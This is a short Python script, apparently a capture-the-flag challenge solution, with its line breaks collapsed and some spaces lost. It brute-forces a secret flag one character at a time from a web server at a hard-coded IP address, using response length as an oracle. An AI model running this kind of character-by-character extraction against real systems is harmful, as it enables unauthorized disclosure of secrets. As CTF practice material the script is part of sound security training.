from pwn import*import requestsimport stringcontext.log_level ='debug'url ='http://172.105.154.14/?flag=shctf{'response = requests.get(url +'\x00')# Initial requestcorrect_response =len(response.text)info('intitial response length: %d', correct_response)# Loop until we see the flagwhile'}'notin url:# Loop possible chars (string.printable)for char in'{_}'+ string.ascii_lowercase + string.digits: response = requests.get(url + char)# If this is the correct char, updateiflen(response.text)> correct_response: correct_response =len(response.text) url = url + charinfo(url)break# Flag plzwarn(url)